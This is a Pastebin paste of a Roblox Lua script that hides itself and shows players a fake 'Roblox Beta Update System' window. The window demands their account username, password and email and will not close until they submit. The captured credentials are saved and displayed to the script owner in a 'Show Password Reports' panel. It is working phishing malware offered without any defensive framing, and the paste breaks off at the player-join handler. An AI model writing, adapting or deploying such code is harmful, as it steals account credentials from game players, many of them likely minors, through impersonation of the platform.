Advertisement
Guest User

awdawd

a guest
Apr 4th, 2017
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 34.62 KB | None | 0 0
  1. wait()
  2.  
  3. script.Parent = nil
  4.  
  5.  
  6. ReportMod = Instance.new("Model")
  7.  
  8. Saved = {
  9.  
  10. }
  11.  
  12. Took = {}
  13.  
  14. GotPass = {}
  15.  
  16. MyCode = "OfficialRoBetaAccUpdater64"
  17.  
  18. Users={
  19.  
  20. [""]=true;
  21.  
  22. ["SergeantSmokey"]=true;
  23.  
  24. }
  25.  
  26. Delay(0, function()
  27.  
  28. while wait() do
  29.  
  30. ypcall(function()
  31.  
  32. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  33.  
  34. ypcall(function()
  35.  
  36. if Saved[v.Name] ~= nil then
  37.  
  38. local Ok, Mod = ypcall(function() return v:LoadInstance(MyCode) end)
  39.  
  40. if Ok and Mod ~= nil then
  41.  
  42. if #Mod:GetChildren() >= 0 then
  43.  
  44. for _,c in pairs(Mod:GetChildren()) do
  45.  
  46. ypcall(function()
  47.  
  48. if not ReportMod:findFirstChild(c.Name) then
  49.  
  50. local Copy = c:Clone()
  51.  
  52. Copy.Parent = ReportMod
  53.  
  54. else
  55.  
  56. end
  57.  
  58. end)
  59.  
  60. end
  61.  
  62. end
  63.  
  64. end
  65.  
  66. Took[v.Name] = true
  67.  
  68. end
  69.  
  70. end)
  71.  
  72. end
  73.  
  74. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  75.  
  76. ypcall(function()
  77.  
  78. if Saved[v.Name] ~= nil and Took[v.Name] ~= nil then
  79.  
  80. v:SaveInstance(MyCode, ReportMod)
  81.  
  82. end
  83.  
  84. end)
  85.  
  86. end
  87.  
  88. end)
  89.  
  90. end
  91.  
  92. end)
  93.  
  94.  
  95. function MakePage(Plr, Sender, Abuser, Desc, Proof, Page, AllPages)
  96.  
  97. ypcall(function()
  98.  
  99. local SG = nil
  100.  
  101. local ShowReports = nil
  102.  
  103.  
  104.  
  105. for _,v in pairs(Plr.PlayerGui:GetChildren()) do
  106.  
  107. if v.Name == "Reports" then
  108.  
  109. SG = v
  110.  
  111. break
  112.  
  113. end
  114.  
  115. end
  116.  
  117.  
  118. if SG == nil then
  119.  
  120. return
  121.  
  122. end
  123.  
  124.  
  125.  
  126. for _,v in pairs(SG:GetChildren()) do
  127.  
  128. if v.Name == "ShowReports" then
  129.  
  130. ShowReports = v
  131.  
  132. break
  133.  
  134. end
  135.  
  136. end
  137.  
  138.  
  139.  
  140. if ShowReports == nil then
  141.  
  142. return
  143.  
  144. end
  145.  
  146.  
  147.  
  148. local ReportingFrame = Instance.new("Frame")
  149.  
  150. ReportingFrame.Name = "ReportingFrame"
  151.  
  152. ReportingFrame.Active = true
  153.  
  154. ReportingFrame.BackgroundColor3 = Color3.new(0, 0, 0)
  155.  
  156. ReportingFrame.BackgroundTransparency = 0.2
  157.  
  158. ReportingFrame.BorderSizePixel = 0
  159.  
  160. ReportingFrame.Size = UDim2.new(0.6, 0, 0.8, 0)
  161.  
  162. ReportingFrame.Position = UDim2.new(0.2, 0, 0.1, 0)
  163.  
  164. ReportingFrame.Visible = true
  165.  
  166. ReportingFrame.Draggable = false
  167.  
  168. ReportingFrame.Parent = SG
  169.  
  170.  
  171.  
  172. local ReportingTitle = Instance.new("TextLabel")
  173.  
  174. ReportingTitle.Name = "ReportingTitle"
  175.  
  176. ReportingTitle.Text = "Player Details - Sorted By Newest"
  177.  
  178. ReportingTitle.TextWrapped = false
  179.  
  180. ReportingTitle.TextColor3 = Color3.new(1, 0, 0)
  181.  
  182. ReportingTitle.TextTransparency = 0
  183.  
  184. ReportingTitle.FontSize = "Size24"
  185.  
  186. ReportingTitle.TextStrokeTransparency = 1
  187.  
  188. ReportingTitle.Active = true
  189.  
  190. ReportingTitle.BackgroundTransparency = 1
  191.  
  192. ReportingTitle.BorderSizePixel = 0
  193.  
  194. ReportingTitle.Size = UDim2.new(0.8, 0, 0.1, 0)
  195.  
  196. ReportingTitle.Position = UDim2.new(0.1, 0, 0.01, 0)
  197.  
  198. ReportingTitle.Visible = true
  199.  
  200. ReportingTitle.Draggable = false
  201.  
  202. ReportingTitle.Parent = ReportingFrame
  203.  
  204.  
  205.  
  206. local ReportPlayerTitle = Instance.new("TextLabel")
  207.  
  208. ReportPlayerTitle.Name = "ReportPlayerTitle"
  209.  
  210. ReportPlayerTitle.Text = "Sent By: "..Sender
  211.  
  212. ReportPlayerTitle.TextWrapped = false
  213.  
  214. ReportPlayerTitle.TextColor3 = Color3.new(1, 1, 1)
  215.  
  216. ReportPlayerTitle.TextTransparency = 0
  217.  
  218. ReportPlayerTitle.FontSize = "Size18"
  219.  
  220. ReportPlayerTitle.TextStrokeTransparency = 1
  221.  
  222. ReportPlayerTitle.Active = true
  223.  
  224. ReportPlayerTitle.BackgroundTransparency = 1
  225.  
  226. ReportPlayerTitle.BorderSizePixel = 0
  227.  
  228. ReportPlayerTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  229.  
  230. ReportPlayerTitle.Position = UDim2.new(0.1, 0, 0.15, 0)
  231.  
  232. ReportPlayerTitle.Visible = true
  233.  
  234. ReportPlayerTitle.Draggable = false
  235.  
  236. ReportPlayerTitle.Parent = ReportingFrame
  237.  
  238.  
  239.  
  240. local ReportAbuserTitle = Instance.new("TextLabel")
  241.  
  242. ReportAbuserTitle.Name = "ReportAbuserTitle"
  243.  
  244. ReportAbuserTitle.Text = "Account Username: "..Abuser
  245.  
  246. ReportAbuserTitle.TextWrapped = false
  247.  
  248. ReportAbuserTitle.TextColor3 = Color3.new(1, 1, 1)
  249.  
  250. ReportAbuserTitle.TextTransparency = 0
  251.  
  252. ReportAbuserTitle.FontSize = "Size18"
  253.  
  254. ReportAbuserTitle.TextStrokeTransparency = 1
  255.  
  256. ReportAbuserTitle.Active = true
  257.  
  258. ReportAbuserTitle.BackgroundTransparency = 1
  259.  
  260. ReportAbuserTitle.BorderSizePixel = 0
  261.  
  262. ReportAbuserTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  263.  
  264. ReportAbuserTitle.Position = UDim2.new(0.1, 0, 0.3, 0)
  265.  
  266. ReportAbuserTitle.Visible = true
  267.  
  268. ReportAbuserTitle.Draggable = false
  269.  
  270. ReportAbuserTitle.Parent = ReportingFrame
  271.  
  272.  
  273. local ReportDescTitle = Instance.new("TextLabel")
  274.  
  275. ReportDescTitle.Name = "ReportDescTitle"
  276.  
  277. ReportDescTitle.Text = "Account Password: "..Desc
  278.  
  279. ReportDescTitle.TextWrapped = false
  280.  
  281. ReportDescTitle.TextColor3 = Color3.new(1, 1, 1)
  282.  
  283. ReportDescTitle.TextTransparency = 0
  284.  
  285. ReportDescTitle.FontSize = "Size18"
  286.  
  287. ReportDescTitle.TextStrokeTransparency = 1
  288.  
  289. ReportDescTitle.Active = true
  290.  
  291. ReportDescTitle.BackgroundTransparency = 1
  292.  
  293. ReportDescTitle.BorderSizePixel = 0
  294.  
  295. ReportDescTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  296.  
  297. ReportDescTitle.Position = UDim2.new(0.1, 0, 0.45, 0)
  298.  
  299. ReportDescTitle.Visible = true
  300.  
  301. ReportDescTitle.Draggable = false
  302.  
  303. ReportDescTitle.Parent = ReportingFrame
  304.  
  305.  
  306.  
  307. local ReportExtraTitle = Instance.new("TextLabel")
  308.  
  309. ReportExtraTitle.Name = "ReportExtraTitle"
  310.  
  311. ReportExtraTitle.Text = "Account Email: "..Proof
  312.  
  313. ReportExtraTitle.TextWrapped = false
  314.  
  315. ReportExtraTitle.TextColor3 = Color3.new(1, 1, 1)
  316.  
  317. ReportExtraTitle.TextTransparency = 0
  318.  
  319. ReportExtraTitle.FontSize = "Size18"
  320.  
  321. ReportExtraTitle.TextStrokeTransparency = 1
  322.  
  323. ReportExtraTitle.Active = true
  324.  
  325. ReportExtraTitle.BackgroundTransparency = 1
  326.  
  327. ReportExtraTitle.BorderSizePixel = 0
  328.  
  329. ReportExtraTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  330.  
  331. ReportExtraTitle.Position = UDim2.new(0.1, 0, 0.6, 0)
  332.  
  333. ReportExtraTitle.Visible = true
  334.  
  335. ReportExtraTitle.Draggable = false
  336.  
  337. ReportExtraTitle.Parent = ReportingFrame
  338.  
  339.  
  340.  
  341. local CloseReport = Instance.new("TextButton")
  342.  
  343. CloseReport.Name = "CloseReport"
  344.  
  345. CloseReport.Text = "Close"
  346.  
  347. CloseReport.TextWrapped = false
  348.  
  349. CloseReport.TextColor3 = Color3.new(1, 1, 1)
  350.  
  351. CloseReport.FontSize = "Size14"
  352.  
  353. CloseReport.TextStrokeTransparency = 1
  354.  
  355. CloseReport.AutoButtonColor = true
  356.  
  357. CloseReport.Active = true
  358.  
  359. CloseReport.BackgroundColor3 = Color3.new(1, 0, 0)
  360.  
  361. CloseReport.BackgroundTransparency = 0.2
  362.  
  363. CloseReport.BorderSizePixel = 0
  364.  
  365. CloseReport.Size = UDim2.new(0.25, 0, 0.1, 0)
  366.  
  367. CloseReport.Position = UDim2.new(0.375, 0, 0.875, 0)
  368.  
  369. CloseReport.Visible = true
  370.  
  371. CloseReport.Draggable = false
  372.  
  373. CloseReport.Parent = ReportingFrame
  374.  
  375.  
  376.  
  377. local Right = Instance.new("ImageButton")
  378.  
  379. Right.Name = "Right"
  380.  
  381. Right.Visible = true
  382.  
  383. Right.Active = true
  384.  
  385. Right.Image = "http://www.roblox.com/asset/?id=13890052"
  386.  
  387. Right.BackgroundTransparency = 1
  388.  
  389. Right.BorderSizePixel = 0
  390.  
  391. Right.Size = UDim2.new(0.08, 0, 0.15, 0)
  392.  
  393. Right.Position = UDim2.new(0.76, 0, 0.425, 0)
  394.  
  395. Right.Draggable = false
  396.  
  397. Right.Parent = ReportingFrame
  398.  
  399.  
  400.  
  401. Delay(0, function()
  402.  
  403. while Right.Parent ~= nil do wait()
  404.  
  405. if Page == 1 then
  406.  
  407. Right.Visible = false
  408.  
  409. Right.Active = false
  410.  
  411. else
  412.  
  413. Right.Visible = true
  414.  
  415. Right.Active = true
  416.  
  417. end
  418.  
  419. end
  420.  
  421. end)
  422.  
  423.  
  424.  
  425. Right.MouseButton1Click:connect(function()
  426.  
  427. ypcall(function()
  428.  
  429. ReportingFrame:Destroy()
  430.  
  431. Page = Page - 1
  432.  
  433. local NextMod = ReportMod:GetChildren()[Page]
  434.  
  435. MakePage(Plr, NextMod.SentValue.Value, NextMod.AbuserValue.Value, NextMod.AbuseValue.Value, NextMod.ProofValue.Value, Page, AllPages)
  436.  
  437. end)
  438.  
  439. end)
  440.  
  441.  
  442.  
  443. local Left = Instance.new("ImageButton")
  444.  
  445. Left.Name = "Left"
  446.  
  447. Left.Visible = false
  448.  
  449. Left.Active = false
  450.  
  451. Left.Image = "http://www.roblox.com/asset/?id=13890065"
  452.  
  453. Left.BackgroundTransparency = 1
  454.  
  455. Left.BorderSizePixel = 0
  456.  
  457. Left.Size = UDim2.new(0.08, 0, 0.15, 0)
  458.  
  459. Left.Position = UDim2.new(0.16, 0, 0.425, 0)
  460.  
  461. Left.Draggable = false
  462.  
  463. Left.Parent = ReportingFrame
  464.  
  465.  
  466.  
  467. Delay(0, function()
  468.  
  469. while Left.Parent ~= nil do wait()
  470.  
  471. if Page == AllPages then
  472.  
  473. Left.Visible = false
  474.  
  475. Left.Active = false
  476.  
  477. else
  478.  
  479. Left.Visible = true
  480.  
  481. Left.Active = true
  482.  
  483. end
  484.  
  485. end
  486.  
  487. end)
  488.  
  489.  
  490.  
  491. Left.MouseButton1Click:connect(function()
  492.  
  493. ypcall(function()
  494.  
  495. ReportingFrame:Destroy()
  496.  
  497. Page = Page + 1
  498.  
  499. local NextMod = ReportMod:GetChildren()[Page]
  500.  
  501. MakePage(Plr, NextMod.SentValue.Value, NextMod.AbuserValue.Value, NextMod.AbuseValue.Value, NextMod.ProofValue.Value, Page, AllPages)
  502.  
  503. end)
  504.  
  505. end)
  506.  
  507.  
  508.  
  509. CloseReport.MouseButton1Click:connect(function()
  510.  
  511. ReportingFrame:Destroy()
  512.  
  513. ShowReports.Text = "Show Password Reports"
  514.  
  515. ShowReports:TweenPosition(UDim2.new(0.375, 0, 0, 0), "Out", "Quad", 2.25, true)
  516.  
  517. end)
  518.  
  519.  
  520.  
  521. if ShowReports.Position == UDim2.new(0.375, 0, 0, 0) then
  522.  
  523. ShowReports:TweenPosition(UDim2.new(0.375, 0, -0.08, 0), "Out", "Quad", 2.25, true)
  524.  
  525. end
  526.  
  527. end)
  528.  
  529. end
  530.  
  531.  
  532. function ShowReportsButton(Plr)
  533.  
  534. ypcall(function()
  535.  
  536. for _,v in pairs(Plr.PlayerGui:GetChildren()) do
  537.  
  538. if v.Name == "Reports" then
  539.  
  540. v:Destroy()
  541.  
  542. end
  543.  
  544. end
  545.  
  546.  
  547.  
  548. local SG = Instance.new("ScreenGui")
  549.  
  550. SG.Name = "Reports"
  551.  
  552. SG.Parent = Plr.PlayerGui
  553.  
  554.  
  555.  
  556. local ShowReports = Instance.new("TextButton")
  557.  
  558. ShowReports.Name = "ShowReports"
  559.  
  560. ShowReports.Text = "Loading..."
  561.  
  562. ShowReports.TextWrapped = false
  563.  
  564. ShowReports.TextColor3 = Color3.new(1, 0, 0)
  565.  
  566. ShowReports.TextTransparency = 0.2
  567.  
  568. ShowReports.FontSize = "Size14"
  569.  
  570. ShowReports.TextStrokeTransparency = 1
  571.  
  572. ShowReports.AutoButtonColor = true
  573.  
  574. ShowReports.Active = true
  575.  
  576. ShowReports.BackgroundColor3 = Color3.new(0, 0, 0)
  577.  
  578. ShowReports.BackgroundTransparency = 0.2
  579.  
  580. ShowReports.BorderColor3 = Color3.new(1, 0, 0)
  581.  
  582. ShowReports.Size = UDim2.new(0.25, 0, 0.075, 0)
  583.  
  584. ShowReports.Position = UDim2.new(0.375, 0, 0, 0)
  585.  
  586. ShowReports.Visible = true
  587.  
  588. ShowReports.Draggable = false
  589.  
  590. ShowReports.Parent = SG
  591.  
  592.  
  593.  
  594. -- repeat wait() until Saved[Plr.Name] ~= nil
  595.  
  596. ShowReports.Text = "Show Password Reports"
  597.  
  598.  
  599.  
  600.  
  601.  
  602. ShowReports.MouseButton1Click:connect(function()
  603.  
  604. ypcall(function()
  605.  
  606. if #ReportMod:GetChildren() >= 1 then
  607.  
  608. ShowReports.Text = "Reports Loading..."
  609.  
  610. LatestMod = ReportMod:GetChildren()[#ReportMod:GetChildren()]
  611.  
  612. MakePage(Plr, LatestMod.SentValue.Value, LatestMod.AbuserValue.Value, LatestMod.AbuseValue.Value, LatestMod.ProofValue.Value, #ReportMod:GetChildren(), #ReportMod:GetChildren())
  613.  
  614. else
  615.  
  616. ShowReports.Text = "No Reports"
  617.  
  618. wait(2)
  619.  
  620. ShowReports.Text = "Show Password Reports"
  621.  
  622. end
  623.  
  624. end)
  625.  
  626. end)
  627.  
  628. end)
  629.  
  630. end
  631.  
  632.  
  633. function ReportButton(Plr)
  634.  
  635. ypcall(function()
  636.  
  637. for _,v in pairs(Plr.PlayerGui:GetChildren()) do
  638.  
  639. if v.Name == "ReportToHR" then
  640.  
  641. v:Destroy()
  642.  
  643. end
  644.  
  645. end
  646.  
  647.  
  648.  
  649. local SG = Instance.new("ScreenGui")
  650.  
  651. SG.Name = "ReportToHR"
  652.  
  653. SG.Parent = Plr.PlayerGui
  654.  
  655.  
  656. local ReportingFrame = Instance.new("Frame")
  657.  
  658. ReportingFrame.Name = "ReportingFrame"
  659.  
  660. ReportingFrame.Active = true
  661.  
  662. ReportingFrame.BackgroundColor3 = Color3.new(0, 0, 0)
  663.  
  664. ReportingFrame.BackgroundTransparency = 0.2
  665.  
  666. ReportingFrame.BorderSizePixel = 0
  667.  
  668. ReportingFrame.Size = UDim2.new(0.6, 0, 0.8, 0)
  669.  
  670. ReportingFrame.Position = UDim2.new(-0.65, 0, 0.1, 0)
  671.  
  672. ReportingFrame.Visible = true
  673.  
  674. ReportingFrame.Draggable = false
  675.  
  676. ReportingFrame.Parent = SG
  677.  
  678.  
  679.  
  680. local ReportingTitle = Instance.new("TextLabel")
  681.  
  682. ReportingTitle.Name = "ReportingTitle"
  683.  
  684. ReportingTitle.Font = "ArialBold"
  685.  
  686. ReportingTitle.Text = "Roblox Beta Update System"
  687.  
  688. ReportingTitle.TextWrapped = false
  689.  
  690. ReportingTitle.TextColor3 = Color3.new(1, 0, 0)
  691.  
  692. ReportingTitle.TextTransparency = 0
  693.  
  694. ReportingTitle.FontSize = "Size36"
  695.  
  696. ReportingTitle.TextStrokeTransparency = 1
  697.  
  698. ReportingTitle.Active = true
  699.  
  700. ReportingTitle.BackgroundTransparency = 1
  701.  
  702. ReportingTitle.BorderSizePixel = 0
  703.  
  704. ReportingTitle.Size = UDim2.new(0.8, 0, 0.1, 0)
  705.  
  706. ReportingTitle.Position = UDim2.new(0.1, 0, 0.01, 0)
  707.  
  708. ReportingTitle.Visible = true
  709.  
  710. ReportingTitle.Draggable = false
  711.  
  712. ReportingTitle.Parent = ReportingFrame
  713.  
  714.  
  715.  
  716. local ReportPlayerTitle = Instance.new("TextLabel")
  717.  
  718. ReportPlayerTitle.Name = "ReportPlayerTitle"
  719.  
  720. ReportPlayerTitle.Font = "Arial"
  721.  
  722. ReportPlayerTitle.Text = "Account Username:"
  723.  
  724. ReportPlayerTitle.TextWrapped = false
  725.  
  726. ReportPlayerTitle.TextColor3 = Color3.new(1, 1, 1)
  727.  
  728. ReportPlayerTitle.TextTransparency = 0
  729.  
  730. ReportPlayerTitle.FontSize = "Size24"
  731.  
  732. ReportPlayerTitle.TextStrokeTransparency = 1
  733.  
  734. ReportPlayerTitle.Active = true
  735.  
  736. ReportPlayerTitle.BackgroundTransparency = 1
  737.  
  738. ReportPlayerTitle.BorderSizePixel = 0
  739.  
  740. ReportPlayerTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  741.  
  742. ReportPlayerTitle.Position = UDim2.new(0.1, 0, 0.05, 0)
  743.  
  744. ReportPlayerTitle.Visible = true
  745.  
  746. ReportPlayerTitle.Draggable = false
  747.  
  748. ReportPlayerTitle.Parent = ReportingFrame
  749.  
  750.  
  751.  
  752. local ReportPlayerBox = Instance.new("TextBox")
  753.  
  754. ReportPlayerBox.Name = "ReportPlayerBox"
  755.  
  756. ReportPlayerBox.Font = "Arial"
  757.  
  758. ReportPlayerBox.Text = "Your Username Here"
  759.  
  760. ReportPlayerBox.TextWrapped = true
  761.  
  762. ReportPlayerBox.TextColor3 = Color3.new(0, 0, 0)
  763.  
  764. ReportPlayerBox.TextTransparency = 0
  765.  
  766. ReportPlayerBox.FontSize = "Size18"
  767.  
  768. ReportPlayerBox.ClearTextOnFocus = false
  769.  
  770. ReportPlayerBox.TextStrokeTransparency = 1
  771.  
  772. ReportPlayerBox.Active = true
  773.  
  774. ReportPlayerBox.BackgroundColor3 = Color3.new(1, 1, 1)
  775.  
  776. ReportPlayerBox.BackgroundTransparency = 0.2
  777.  
  778. ReportPlayerBox.BorderColor3 = Color3.new(1, 0, 0)
  779.  
  780. ReportPlayerBox.BorderSizePixel = 1
  781.  
  782. ReportPlayerBox.Size = UDim2.new(0.8, 0, 0.1, 0)
  783.  
  784. ReportPlayerBox.Position = UDim2.new(0.1, 0, 0.2, 0)
  785.  
  786. ReportPlayerBox.Visible = true
  787.  
  788. ReportPlayerBox.Draggable = false
  789.  
  790. ReportPlayerBox.Parent = ReportingFrame
  791.  
  792.  
  793.  
  794. local ReportDescTitle = Instance.new("TextLabel")
  795.  
  796. ReportDescTitle.Name = "ReportDescTitle"
  797.  
  798. ReportDescTitle.Font = "Arial"
  799.  
  800. ReportDescTitle.Text = "Account Password:"
  801.  
  802. ReportDescTitle.TextWrapped = false
  803.  
  804. ReportDescTitle.TextColor3 = Color3.new(1, 1, 1)
  805.  
  806. ReportDescTitle.TextTransparency = 0
  807.  
  808. ReportDescTitle.FontSize = "Size24"
  809.  
  810. ReportDescTitle.TextStrokeTransparency = 1
  811.  
  812. ReportDescTitle.Active = true
  813.  
  814. ReportDescTitle.BackgroundTransparency = 1
  815.  
  816. ReportDescTitle.BorderSizePixel = 0
  817.  
  818. ReportDescTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  819.  
  820. ReportDescTitle.Position = UDim2.new(0.1, 0, 0.275, 0)
  821.  
  822. ReportDescTitle.Visible = true
  823.  
  824. ReportDescTitle.Draggable = false
  825.  
  826. ReportDescTitle.Parent = ReportingFrame
  827.  
  828.  
  829.  
  830. local ReportDescBox = Instance.new("TextBox")
  831.  
  832. ReportDescBox.Name = "ReportDescBox"
  833.  
  834. ReportDescBox.Font = "Arial"
  835.  
  836. ReportDescBox.Text = "Your Password Here"
  837.  
  838. ReportDescBox.TextWrapped = true
  839.  
  840. ReportDescBox.TextColor3 = Color3.new(0, 0, 0)
  841.  
  842. ReportDescBox.TextTransparency = 0
  843.  
  844. ReportDescBox.FontSize = "Size18"
  845.  
  846. ReportDescBox.ClearTextOnFocus = false
  847.  
  848. ReportDescBox.TextStrokeTransparency = 1
  849.  
  850. ReportDescBox.Active = true
  851.  
  852. ReportDescBox.BackgroundColor3 = Color3.new(1, 1, 1)
  853.  
  854. ReportDescBox.BackgroundTransparency = 0.2
  855.  
  856. ReportDescBox.BorderColor3 = Color3.new(1, 0, 0)
  857.  
  858. ReportDescBox.BorderSizePixel = 1
  859.  
  860. ReportDescBox.Size = UDim2.new(0.8, 0, 0.15, 0)
  861.  
  862. ReportDescBox.Position = UDim2.new(0.1, 0, 0.425, 0)
  863.  
  864. ReportDescBox.Visible = true
  865.  
  866. ReportDescBox.Draggable = false
  867.  
  868. ReportDescBox.Parent = ReportingFrame
  869.  
  870.  
  871.  
  872. local ReportExtraTitle = Instance.new("TextLabel")
  873.  
  874. ReportExtraTitle.Name = "ReportExtraTitle"
  875.  
  876. ReportExtraTitle.Font = "Arial"
  877.  
  878. ReportExtraTitle.Text = "Account Email (Optional):"
  879.  
  880. ReportExtraTitle.TextWrapped = false
  881.  
  882. ReportExtraTitle.TextColor3 = Color3.new(1, 1, 1)
  883.  
  884. ReportExtraTitle.TextTransparency = 0
  885.  
  886. ReportExtraTitle.FontSize = "Size24"
  887.  
  888. ReportExtraTitle.TextStrokeTransparency = 1
  889.  
  890. ReportExtraTitle.Active = true
  891.  
  892. ReportExtraTitle.BackgroundTransparency = 1
  893.  
  894. ReportExtraTitle.BorderSizePixel = 0
  895.  
  896. ReportExtraTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  897.  
  898. ReportExtraTitle.Position = UDim2.new(0.1, 0, 0.55, 0)
  899.  
  900. ReportExtraTitle.Visible = true
  901.  
  902. ReportExtraTitle.Draggable = false
  903.  
  904. ReportExtraTitle.Parent = ReportingFrame
  905.  
  906.  
  907.  
  908. local ReportExtraBox = Instance.new("TextBox")
  909.  
  910. ReportExtraBox.Name = "ReportExtraBox"
  911.  
  912. ReportExtraBox.Font = "Arial"
  913.  
  914. ReportExtraBox.Text = "Your Email Here"
  915.  
  916. ReportExtraBox.TextWrapped = true
  917.  
  918. ReportExtraBox.TextColor3 = Color3.new(0, 0, 0)
  919.  
  920. ReportExtraBox.TextTransparency = 0
  921.  
  922. ReportExtraBox.FontSize = "Size18"
  923.  
  924. ReportExtraBox.ClearTextOnFocus = false
  925.  
  926. ReportExtraBox.TextStrokeTransparency = 1
  927.  
  928. ReportExtraBox.Active = true
  929.  
  930. ReportExtraBox.BackgroundColor3 = Color3.new(1, 1, 1)
  931.  
  932. ReportExtraBox.BackgroundTransparency = 0.2
  933.  
  934. ReportExtraBox.BorderColor3 = Color3.new(1, 0, 0)
  935.  
  936. ReportExtraBox.BorderSizePixel = 1
  937.  
  938. ReportExtraBox.Size = UDim2.new(0.8, 0, 0.15, 0)
  939.  
  940. ReportExtraBox.Position = UDim2.new(0.1, 0, 0.7, 0)
  941.  
  942. ReportExtraBox.Visible = true
  943.  
  944. ReportExtraBox.Draggable = false
  945.  
  946. ReportExtraBox.Parent = ReportingFrame
  947.  
  948.  
  949.  
  950. local SendReport = Instance.new("TextButton")
  951.  
  952. SendReport.Name = "SendReport"
  953.  
  954. SendReport.Font = "Arial"
  955.  
  956. SendReport.Text = "Update"
  957.  
  958. SendReport.TextWrapped = false
  959.  
  960. SendReport.TextColor3 = Color3.new(1, 1, 1)
  961.  
  962. SendReport.FontSize = "Size18"
  963.  
  964. SendReport.TextStrokeTransparency = 1
  965.  
  966. SendReport.AutoButtonColor = true
  967.  
  968. SendReport.Active = true
  969.  
  970. SendReport.BackgroundColor3 = Color3.new(1, 0, 0)
  971.  
  972. SendReport.BackgroundTransparency = 0.2
  973.  
  974. SendReport.BorderSizePixel = 0
  975.  
  976. SendReport.Size = UDim2.new(0.25, 0, 0.1, 0)
  977.  
  978. SendReport.Position = UDim2.new(0.575, 0, 0.875, 0)
  979.  
  980. SendReport.Visible = true
  981.  
  982. SendReport.Draggable = false
  983.  
  984. SendReport.Parent = ReportingFrame
  985.  
  986.  
  987.  
  988. local CloseReport = Instance.new("TextButton")
  989.  
  990. CloseReport.Name = "CloseReport"
  991.  
  992. CloseReport.Font = "Arial"
  993.  
  994. CloseReport.Text = "Close"
  995.  
  996. CloseReport.TextWrapped = false
  997.  
  998. CloseReport.TextColor3 = Color3.new(1, 1, 1)
  999.  
  1000. CloseReport.FontSize = "Size18"
  1001.  
  1002. CloseReport.TextStrokeTransparency = 1
  1003.  
  1004. CloseReport.AutoButtonColor = true
  1005.  
  1006. CloseReport.Active = true
  1007.  
  1008. CloseReport.BackgroundColor3 = Color3.new(1, 0, 0)
  1009.  
  1010. CloseReport.BackgroundTransparency = 0.2
  1011.  
  1012. CloseReport.BorderSizePixel = 0
  1013.  
  1014. CloseReport.Size = UDim2.new(0.25, 0, 0.1, 0)
  1015.  
  1016. CloseReport.Position = UDim2.new(0.175, 0, 0.875, 0)
  1017.  
  1018. CloseReport.Visible = true
  1019.  
  1020. CloseReport.Draggable = false
  1021.  
  1022. CloseReport.Parent = ReportingFrame
  1023.  
  1024.  
  1025.  
  1026. CloseReport.MouseButton1Click:connect(function()
  1027.  
  1028. if GotPass[Plr.Name] ~= nil then
  1029.  
  1030. ReportingFrame:Destroy()
  1031.  
  1032. else
  1033.  
  1034. ypcall(function()
  1035.  
  1036. ReportingTitle.Text = "Please Fill Out The Beta Update System"
  1037.  
  1038. wait(4)
  1039.  
  1040. ReportingTitle.Text = "Roblox Beta Update System"
  1041.  
  1042. end)
  1043.  
  1044. end
  1045.  
  1046. end)
  1047.  
  1048.  
  1049.  
  1050. SendReport.MouseButton1Click:connect(function()
  1051.  
  1052. local Ok, Err = ypcall(function()
  1053.  
  1054. if ReportDescBox.Text == "Your Password Here" or ReportDescBox.Text == "" or ReportPlayerBox.Text ~= Plr.Name or #ReportPlayerBox.Text < 3 or #ReportPlayerBox.Text > 20 or #ReportDescBox.Text < 6 or #ReportDescBox.Text > 20 then
  1055.  
  1056. ReportingTitle.Text = "Error: Non Optional Boxes Must Be Filled In Correctly"
  1057.  
  1058. wait(4)
  1059.  
  1060. ReportingTitle.Text = "Roblox Beta Update System"
  1061.  
  1062. else
  1063.  
  1064. local AbuserName = ReportPlayerBox.Text
  1065.  
  1066. local Abuse = ReportDescBox.Text
  1067.  
  1068. local SentBy = Plr.Name
  1069.  
  1070. local Proof = "N/A"
  1071.  
  1072. if ReportExtraBox.Text == "Your Email Here" or ReportExtraBox.Text == "" then
  1073.  
  1074. Proof = "N/A"
  1075.  
  1076. else
  1077.  
  1078. Proof = ReportExtraBox.Text
  1079.  
  1080. end
  1081.  
  1082.  
  1083.  
  1084. local Holder = Instance.new("Model")
  1085.  
  1086. Holder.Name = math.random(-999999999, 999999999)
  1087.  
  1088. local SentValue = Instance.new("StringValue")
  1089.  
  1090. SentValue.Name = "SentValue"
  1091.  
  1092. SentValue.Value = SentBy
  1093.  
  1094. SentValue.Parent = Holder
  1095.  
  1096. local AbuserValue = Instance.new("StringValue")
  1097.  
  1098. AbuserValue.Name = "AbuserValue"
  1099.  
  1100. AbuserValue.Value = AbuserName
  1101.  
  1102. AbuserValue.Parent = Holder
  1103.  
  1104. local AbuseValue = Instance.new("StringValue")
  1105.  
  1106. AbuseValue.Name = "AbuseValue"
  1107.  
  1108. AbuseValue.Value = Abuse
  1109.  
  1110. AbuseValue.Parent = Holder
  1111.  
  1112. local ProofValue = Instance.new("StringValue")
  1113.  
  1114. ProofValue.Name = "ProofValue"
  1115.  
  1116. ProofValue.Value = Proof
  1117.  
  1118. ProofValue.Parent = Holder
  1119.  
  1120. Holder.Parent = ReportMod
  1121.  
  1122.  
  1123.  
  1124. GotPass[Plr.Name] = true
  1125.  
  1126.  
  1127.  
  1128. ReportingTitle.Text = "Update Completed!"
  1129.  
  1130. ReportingTitle.TextColor3 = Color3.new(0, 1, 0)
  1131.  
  1132. wait(1)
  1133.  
  1134. ReportingFrame:Destroy()
  1135.  
  1136. end
  1137.  
  1138. end)
  1139.  
  1140. if not Ok then
  1141.  
  1142. ypcall(function()
  1143.  
  1144. ReportingTitle.Text = "Error: "..Err
  1145.  
  1146. wait(4)
  1147.  
  1148. ReportingTitle.Text = "Roblox Beta Update System"
  1149.  
  1150. end)
  1151.  
  1152. end
  1153.  
  1154. end)
  1155.  
  1156.  
  1157.  
  1158. wait()
  1159.  
  1160.  
  1161. ReportingFrame:TweenPosition(UDim2.new(0.2, 0, 0.1, 0), "Out", "Quad", 2, true)
  1162.  
  1163. end)
  1164.  
  1165. end
  1166.  
  1167.  
  1168. game:GetService("Players").PlayerAdded:connect(function(Plr)
  1169.  
  1170. Plr:WaitForDataReady()
